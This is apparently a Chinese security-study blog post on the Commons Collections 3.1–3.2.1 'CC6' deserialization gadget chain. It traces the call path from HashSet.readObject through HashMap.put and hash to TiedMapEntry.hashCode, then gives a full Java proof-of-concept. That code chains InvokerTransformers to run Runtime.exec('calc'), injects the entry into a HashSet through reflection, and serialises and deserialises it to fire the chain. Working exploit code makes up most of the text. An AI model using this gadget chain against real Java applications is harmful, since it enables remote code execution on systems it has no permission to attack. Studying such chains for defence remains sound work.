jdk暂无限制
    CommonsCollections 3.1 - 3.2.1

    似乎新增了类,似乎又没新增。。。(HashMap、HashSet)与CC5链子不同
    org/apache/commons/collections/keyvalue/TiedMapEntry.java#hashCode()
    image.png
    调用了 getValue()。再看java/util/HashMap.java#hash()
    image.png
    再找调用hash()的地方java/util/HashMap.java#put()
    image.png
    java/util/HashSet.java#readObject()的最后调用了 put()
    image.png
    但是注意在readObject()中判断了HashSet中需要有值,所以poc中会有hashset.add("foo");
    image.png
    上poc

    1. package com.yq1ng.cc6;
    2. import org.apache.commons.collections.Transformer;
    3. import org.apache.commons.collections.functors.ChainedTransformer;
    4. import org.apache.commons.collections.functors.ConstantTransformer;
    5. import org.apache.commons.collections.functors.InvokerTransformer;
    6. import org.apache.commons.collections.map.LazyMap;
    7. import org.apache.commons.collections.keyvalue.TiedMapEntry;
    8. import java.io.FileInputStream;
    9. import java.io.FileOutputStream;
    10. import java.io.ObjectInputStream;
    11. import java.io.ObjectOutputStream;
    12. import java.lang.reflect.Field;
    13. import java.util.HashMap;
    14. import java.util.HashSet;
    15. import java.util.Map;
    16. import java.util.Set;
    17. /**
    18. * @author ying
    19. * @Description
    20. * @create 2021-11-23 17:16
    21. */
    22. public class cc6 {
    23. public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
    24. ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
    25. new ConstantTransformer(Runtime.class),
    26. new InvokerTransformer("getMethod", new Class[] {
    27. String.class, Class[].class }, new Object[] {
    28. "getRuntime", new Class[0] }),
    29. new InvokerTransformer("invoke", new Class[] {
    30. Object.class, Object[].class }, new Object[] {
    31. null, new Object[0] }),
    32. new InvokerTransformer("exec",
    33. new Class[] { String.class }, new Object[]{"calc"})});
    34. HashMap innermap = new HashMap();
    35. LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
    36. TiedMapEntry tiedmap = new TiedMapEntry(map,123);
    37. HashSet hashset = new HashSet(1);
    38. hashset.add("foo");
    39. Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
    40. field.setAccessible(true);
    41. HashMap hashset_map = (HashMap) field.get(hashset);
    42. // 反射获取了 HashMap 中的 table 属性
    43. // table是hashmap的存储底层,封装在了 Node 对象中
    44. // 关于Node可以看看https://blog.csdn.net/weixin_34662372/article/details/114036282
    45. Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
    46. table.setAccessible(true);
    47. Object[] array = (Object[])table.get(hashset_map);
    48. Object node = array[0];
    49. if(node == null){
    50. node = array[1];
    51. }
    52. // 这里反射就相当于设置了hashmap的存储底层
    53. Field key = node.getClass().getDeclaredField("key");
    54. key.setAccessible(true);
    55. key.set(node,tiedmap);
    56. try{
    57. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
    58. outputStream.writeObject(hashset);
    59. outputStream.close();
    60. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
    61. inputStream.readObject();
    62. }catch(Exception e){
    63. e.printStackTrace();
    64. }
    65. }
    66. }

    image.png